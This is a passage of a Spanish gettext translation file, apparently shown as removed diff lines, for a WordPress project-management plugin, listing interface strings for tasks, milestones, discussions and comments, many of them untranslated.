\"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -msgid "%1$s has commented on a task, %2$s." -msgstr "" - -#: texts/activities.php:144 -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:148 -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "" - -#: texts/activities.php:152 -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "" - -#: texts/activities.php:158 -msgid "%1$s has commented on a task list, %2$s." -msgstr "" - -#: texts/activities.php:162 -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:166 -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "" - -#: texts/activities.php:170 -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -msgid "%1$s has commented on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:198 -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:202 -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "" - -#: texts/activities.php:206 -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "" - -#: texts/activities.php:212 -msgid "%1$s has commented on the project, %2$s." -msgstr "" - -#: texts/activities.php:216 -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "" - -#: texts/activities.php:230 -msgid "%1$s has commented on a file, %2$s." -msgstr "" - -#: texts/activities.php:234 -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:238 -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "" - -#: texts/activities.php:242 -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -msgid "project" -msgstr "proyecto" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "foros board" - -#: texts/resource_types.php:11 -msgid "task list" -msgstr "componentes" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "actividad" - -#: texts/resource_types.php:17 -msgid "milestone" -msgstr "hito" - -#: texts/resource_types.php:20 -msgid "comment" -msgstr "comentario" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "archivo" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "Nuevo Componente creado correctamente." - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "Componente actualizado con éxito." - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "Componente borrado correctamente." - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "Se ha creado una nueva Actividad correctamente." - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "La Actividad ha sido eliminada correctamente." - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -msgid "No element found" -msgstr "" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "No se encontraron Proyectos" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "Marcar Actividad como completada" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "Actividad reactivada" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -msgid "Are you sure!" -msgstr "Esta seguro!" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "¿Estás seguro que quieres eliminar este proyecto?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "Agregar nuevo..." - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "Descripción de la actualización" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "Añadir nuevo comentario" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "Actualizar Comentario" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -msgid "Are you sure! Want to delete this milestones?" -msgstr "" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -msgid "Are you sure to delete this comment?" -msgstr "" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -msgid "Add New Category" -msgstr "Agregar Categoría Nueva" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -msgid "Update Category" -msgstr "Actualizar Categoría" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Actividad de Proyecto" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "Estadisticas" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "Registro" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "Foros" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Componentes" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Metas" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Archivos" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Editar" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Eliminar este mensaje" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -#, fuzzy -#| msgid "Make private" -msgid "Make it private" -msgstr "Definir como Privado" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Introducir Título del Mensaje" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Añadir Mensaje" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Actualizar Mensaje" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Empezar nuevo proyecto" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Nombre del Proyecto" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Algunos detalles del Proyecyo (opcional)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "Introduzca 3 o más caracteres para buscar usuarios..." - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "Crear un nuevo usuario" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Añadir nuevo Proyecto" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Actualizar Proyecto" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "Crear carpeta" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "Ver Actividad" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "Ver Mensaje" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Editar Meta" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Eliminar Hito" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "Marcar como incompleto" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Marcar como completo" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "Fecha de vencimiento" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Nombre de la Meta" - -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Añadir Meta" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Actualizar Meta" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "Añadir nueva Actividad" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "Agregar detalles adicionales acerca de esta Actividad (opcional)" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "Día de inicio" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "Seleccionar usuario" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "Actualizar actividad" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Añadir Actividad" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -#, fuzzy -#| msgid "Are you sure to delete this task?" -msgid "Estimated hour to complete the task" -msgstr "¿Seguro de eliminar esta actividad?" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "Nombre del componente" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "Detalles del componente" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Actualizar Lista" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Añadir Lista" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -msgid "Delete List" -msgstr "Eliminar esta lista" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Guardar Cambios" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "No se encontraron usuarios." - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Actividad" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -#, fuzzy -#| msgid "Overview" -msgid "router-view" -msgstr "Estadisticas" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "Nombre" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "Descripción" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Eliminar" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Seleccionar Todos" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Cancelar" - -#: views/assets/src/components/common/color-picker.vue:9 -msgid "Select Color" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "Cerrar" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Eliminar archivo" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "Para adjuntar" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "seleccionar archivos" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Completado" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "Incompleto" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "Completado" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "Restaurar" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Notificar a usarios" - -#: views/assets/src/components/project-activities/activities.vue:46 -msgid "Load More ..." -msgstr "" - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" -"Utilice nuestro panel de Foros para crear un debate abierto, en un grupo de " -"discusión o una conversación privada. Tenga en cuenta que el administrador " -"puede moderarlas." - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "Añadir nuevo" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Crear nuevo mensaje" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "Cuándo utilizar los foros?" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "Para discutir un asunto de trabajo privado." - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "Para intercambiar archivos de forma privada." - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "Para discutir en grupo." - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "Para crear un Foro abierto visible para todos." - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "Foros" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -msgid "By" -msgstr "Por" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "en" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "Comentarios" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "-- Hito --" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "por" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -msgid "No result found!" -msgstr "No se encontró ningún resultado!" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "- Categoría de proyecto -" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "Notificar a colaboradores" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "Activo" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "Todos" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Nuevo Proyecto" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "Nombre de usuario" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "Primer Nombre" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "Apellido" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "Email" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "No encontramos Proyectos." - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Actividades" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Metas completas" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Completado en:" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Metas atrasadas" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" -"Crear un ciclo de vida de los proyectos mediante hitos. Marca de tiempo de " -"las diferentes etapas de su proyecto con varios hitos y también ayudará a la " -"gente a fin de asignar una fecha para completar el proyecto de acuerdo a los " -"pasos." - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "¿Cuándo usar Etapas?" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "Establezca una fecha para el proyecto en general." - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "Para dividir un proyecto en varias fases en tiempo de desarrollo." - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "Coordinar proyectos y personas asignadas oportunamente." - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Metas próximas" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -msgid 